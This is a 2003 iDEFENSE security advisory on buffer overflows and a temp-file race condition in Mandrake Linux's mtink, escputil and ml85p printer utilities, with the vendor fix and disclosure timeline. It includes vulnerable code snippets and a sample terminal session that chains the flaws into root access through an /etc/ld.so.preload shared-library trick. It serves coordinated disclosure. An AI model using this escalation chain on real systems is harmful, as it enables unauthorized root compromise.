-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 iDEFENSE Security Advisory 01.21.03: Buffer Overflows in Mandrake Linux printer-drivers Package http://www.idefense.com/advisory/01.21.03.txt January 21, 2003 I. BACKGROUND MandrakeSoft Inc.'s Mandrake Linux includes the printer-drivers package in most default installations. Specifically, the following three binaries are included: mtink: a status monitor that tracks remaining ink quantity, printing of test patterns, and changing and cleaning cartridges, etc. It is maintained by Jean-Jacques Sarton (jj.sarton@t-online.de). escputil: a utility to clean and align the heads of Epson Stylus printers. It also checks current ink levels in the printer. It is maintained by Robert Krawitz (rlkat_private) and Mike Sweet. ml85p: a Linux driver for Samsung ML-85G series printers. It is maintained by Rildo Pragana (rildoat_private). II. DESCRIPTION Three vulnerabilities exist, the worst of which allows local root compromise of a target system. VULNERABILITY ONE: The mtink binary, installed set group id (gid) 'sys', contains a buffer overflow in its handling of the HOME environment variable. Successful exploitation provides an attacker with 'sys' group privileges. The following snippet contains the offending segment of code: void readRc(int idx) { FILE *fp; char rcPath[1024]; ... sprintf(rcPath,"%s/.mtinkrc",getenv("HOME")); VULNERABILITY TWO: The escputil binary, installed set gid 'sys',contains a buffer overflow in its parsing of the printer-name command line argument. Successful exploitation provides an attacker with 'sys' group privileges. VULNERABILITY THREE: The ml85p binary, installed set user id root, contains a race condition in its opening of temporary files. Successful exploitation provides an attacker with the ability to create or empty a file with super user privileges. The following snippet contains the offending segment of code: sprintf(gname,"/tmp/mlg85p%d",time(0)); if (!(cbmf = fopen(gname,"w+"))) { An attacker can easily guess the name of a temporary file and then link the guessed file to a file at another location. If the other file does not exist, it is created world-writeable; if it does exist, the contents of the file are lost. ml85p is, by default, installed without execute permissions for 'other': $ ls -l /usr/bin/ml85p - -rwsr-x--- 1 root sys 12344 Sep 17 12:40 /usr/bin/ml85p* The binary, however, does provide execute permissions to the 'sys' group, whose privileges can be gained using either of the two exploits in VULNERABILITY ONE or TWO. Once 'sys' privileges are obtained, an attacker can exploit this race condition. The following example walks through a sample attack utilizing the above-described methods: $ id uid=501(farmer) gid=501(farmer) groups=501(farmer) $ ./escputil_ex Usage : ./escputil_ex [offset] Address : 0xbffff6b0 Exploiting... Escputil version 4.2.2, Copyright (C) 2000-2001 Robert Krawitz Escputil comes with ABSOLUTELY NO WARRANTY; for details type 'escputil -l' This is free software, and you are welcome to redistribute it under certain conditions; type 'escputil -l' for details. Cleaning heads... lpr: unable to print file: client-error-not-found /etc/profile.d/alias.sh:31: parse error: condition expected: != $ id uid=501(farmer) gid=501(farmer) egid=3(sys) groups=501(farmer) $ ls -l /etc/ld.so.preload ls: /etc/ld.so.preload: No such file or directory $ ./ml85p_ex /etc/ld.so.preload Press a key to clean/create /etc/ld.so.preload file Wrong file format. file position: ffffffff $ ls -l /etc/ld.so.preload - -rw-rw-rw- 1 root sys 0 Oct 21 09:09 /etc/ld.so.preload $ cat > /tmp/lib.c < heredoc> int getuid(void) { return 0; } heredoc> EOF $ gcc -fPIC -c /tmp/lib.c $ gcc -o /tmp/lib.so -shared /tmp/lib.o $ echo "/tmp/lib.so" > /etc/ld.so.preload $ su - # id uid=0(root) gid=0(root) groups=0(root) III. ANALYSIS Any attacker with local access to a targeted system can launch this attack. The ability to empty or create with root privileges any file on the file system provides an attacker with many avenues of exploitation. The above-described example is just one way of quickly gaining super user privileges on a targeted system. IV. DETECTION Mandrake Linux 9.0 is vulnerable. By default, it includes the following versions of the printer-drivers package: printer-utils-1.0-76mdk printer-filters-1.0-76mdk V. VENDOR FIX / RESPONSE MandrakeSoft has identified the problems and applied author-provided fixes to the escputil and mtink vulnerabilities. A patch written by Till Kamppeter was applied to ml85p to fix that vulnerability. Updates are provided for Mandrake Linux 8.1 through 9.0 for the printer-drivers packages, and ghostscript in 8.0 to fix these vulnerabilities (MDKSA-2003:010). VI. DISCLOSURE TIMELINE 10/06/2002 Issues disclosed to iDEFENSE 12/26/2002 Issues disclosed to jj.sarton@t-online.de, rlkat_private, rildoat_private, and security@linux-mandrake.com 12/26/2002 Issues disclosed to iDEFENSE clients 12/26/2002 Vendor responses from rlkat_private, jj.sarton@t-online.de 12/30/2002 Response from Vincent Danen (vdanenat_private) 01/21/2003 Coordinated public disclosure VIII. CREDIT Karol Wiesek (appelastat_private) discovered these vulnerabilities. Get paid for security research http://www.idefense.com/contributor.html Subscribe to iDEFENSE Advisories: send email to listservat_private, subject line: "subscribe" About iDEFENSE: iDEFENSE is a global security intelligence company that proactively monitors sources throughout the world — from technical vulnerabilities and hacker profiling to the global spread of viruses and other malicious code. Our security intelligence services provide decision-makers, frontline security professionals and network administrators with timely access to actionable intelligence and decision support on cyber-related threats. For more information, visit http://www.idefense.com . -----BEGIN PGP SIGNATURE----- Version: PGP 8.0 Comment: http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xE4A96E4F iQA/AwUBPi2Xuvrkky7kqW5PEQJ3hACgmjVD0byEeUAiFdrWtRnzbcuVe9IAoP4n seYz8DLDxY5k9zWJhd6WoGJW =WOHM -----END PGP SIGNATURE-----
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